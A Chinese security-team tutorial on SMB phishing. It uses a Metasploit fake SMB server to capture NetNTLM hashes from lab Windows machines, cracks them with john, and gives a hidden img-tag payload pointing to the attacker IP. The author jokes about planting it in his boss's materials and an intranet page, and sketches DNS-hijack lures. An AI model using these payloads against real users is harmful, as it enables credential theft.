是的,这节课没有王大爷,王大爷表示不用smb。。。
其实这节课最初定义是以SMB中继攻击(MS08-068)为首的smb中间人攻击(smb会话劫持),但在深入研究后发现,MS08-068仅适用于winserver2003、xp,可借助msf exploit/windows/smb/smb_relay
模块傻瓜式实现,当今环境来看,它的意义何在,于是,本章节重新定义《SMB钓鱼篇》。
首先我们来准备下实验环境:
- 用户机( winxp 172.16.111.32 )
- 用户机( win2008R2 172.16.111.57 )
- 用户机( win10 172.16.111.200 )
- 攻击者( ParrotSec4.6 172.16.111.31 )
核心自然是我们的攻击机,由全新耀眼系列ParrotSec KDE版本V4.6屈尊担任……
我们来借助msf伪造一个smb服务器:
use auxiliary/server/capture/smb
这里补充一下NTLM认证:
- 客户端向服务器发送一个请求,请求中包含明文的登录用户名。服务器会提前保存登录用户名和对应的密码 hash
- 服务器接收到请求后,生成一个 16 位的随机数 (被称为 Challenge也就是挑战码), 明文返回客户端。使用存储的登录用户密码 hash 加密 Challenge,获得 Challenge1
- 客户端接收到 Challenge 后,使用登录用户的密码 hash 对 Challenge 加密,获得 Challenge2(这个结果被称为 response),将 response 发送给服务器
- 服务器接收客户端加密后的 response,比较 Challenge1 和 response,如果相同,验证成功
然而,我们这里伪造的smb服务器并没有使用随机数,而是1122334455667788。
因为现在网上流传的彩虹表就是根据它生成的。
这里使用win10进行SMB访问,捕捉到了NTHASH,但未捕捉到LMHASH,这是为什么呢?我们来看下安全策略说明:
划个重点:
此安全设置确定在下一次更改密码时是否为新密码存储 LAN 管理器(LM)哈希值。相比加密性更强的 Windows NT 哈希,LM 哈希的加密性相对较弱,易于受攻击。由于 LM 哈希存储在本地计算机上的安全数据库中,因此,一旦安全数据库受到攻击,密码便会泄漏。
在 Windows Vista 及更高版本操作系统上的默认设置: 启用。
在 Windows XP 上的默认设置: 已禁用。
也就是说我们看不到的原因很简单,win10自动禁用了LMHASH。
下面,开始我们的破解尝试:
NET-NTLM1破解
使用winXP用户级来演一下(win 2008以前版本采用NET-NTLM1认证),进行相同的操作,访问含payload的网页。
GET~
USER:Administrator DOMAIN:WINXP-52POJIE-2 OS:Windows 2002 Service Pack 3 2600 LM:Windows 2002 5.1
LMHASH:2bfae6525db0ba3ddc94656a2250b580d1df597d53b10685
NTHASH:fe89bf95daa1cee5454fb87286a59620fc4d507158c0e38c
通过组合hash获得Net-ntlmv1:
Administrator::WINXP-52POJIE-2:2bfae6525db0ba3ddc94656a2250b580d1df597d53b10685:fe89bf95daa1cee5454fb87286a59620fc4d507158c0e38c
当然我们也可以设置set johnpwfile /tmp/repass
直接导出~
这里使用ParrotSec自带的john工具,指定hash类型:
john --format=netntlm repass_netntlm
成功破解用户密码:
NET-NTLM2破解
这里我们使用server2008R2进行smb请求,结果和win10捕捉到的内容是一样的:
Net-ntlmv2规范如下:
指定规则爆破:john --format=netntlmv2 repass_netntlmv2
实战
皮一下要不要得?
利用img标签强制SMB访问的原理,构造下我们的payload:
<img src="\\172.16.111.31\rabbit" hidden="true"/>
之前给老大的项目材料里其实就植入了payload,从表面是看是这样的:
目测还算正常:
其实,,代码里,,,
别,,别打,,,听我解释,,,
原则上任何地方哦,比如笔者负责维护的实验室内网导航,嘿嘿嘿(ˉ﹃ˉ)。。。咳咳,我们来看下当该网页被访问的时候会发生什么:
这里讲个真事儿,,,笔者的电脑密码忘记了,一直使用PIN码登录,在这里居然靠这个找回了!而且密码是我的生日,字典里绝对是没有的。原理大家自行脑补下,应该是因为纯数字的原因,实测win10秒破。
拓展
看到这里的小伙伴们是不是要激动一番了,这个漏洞为什么没有横行?
关于这一点,网上的教程并没有解释清楚,导致我在这里陷了很久,在这里跟大家分享一下:
1、如果是本地文件的话,即直接打开html文件,任何浏览器都可以触发。
2、如果篡改的界面是网站页面,只有IE浏览器可以触发。
3、还有<img src="\\172.16.111.31\rabbit"/>
标签中的rabbit随意填写,但不可为空,这是我栽的最久的地方,原谅我JS短板。
关于他的利用场景,我的见解是,尤其是对于一些内网,因为有旧系统的缘故,依然使用IE浏览器的并不在少数,如果恰巧拿到的服务器存在内网网站,在主动式进攻(永恒之蓝)的基础之上,借助SMB钓鱼被动式来一波也是可以的。
高阶玩法
高阶玩法这里只点出来,只是思路问题,无技术门槛,所以不做演示。
1、445端口转发
转发445端口难度比普通端口略高一点,我们通过将445端口转发,可以将msf(确切的说是伪smb服务器)带入目标内网,一个稳定持续的会话将会有利于你接收更多的HASH。
2、DNS劫持
这个技术我们已经在MITM——DNS篇讲过了,可以通过强行劫持所有域名,使目标强行访问我们指定的界面,当然当前界面可以给予足够多的引导,比如:全国护网在即,联网需要身份认证,请使用IE浏览器进行访问
。
关注我们
Tide安全团队正式成立于2019年1月,是以互联网攻防技术研究为目标的安全团队,目前聚集了十多位专业的安全攻防技术研究人员,专注于网络攻防、Web安全、移动终端、安全开发、IoT/物联网/工控安全等方向。
想了解更多Tide安全团队,请关注团队官网: http://www.TideSec.net 或关注公众号:
来源:freebuf.com 2019-06-17 10:15:57 by: rabbitmask
请登录后发表评论
注册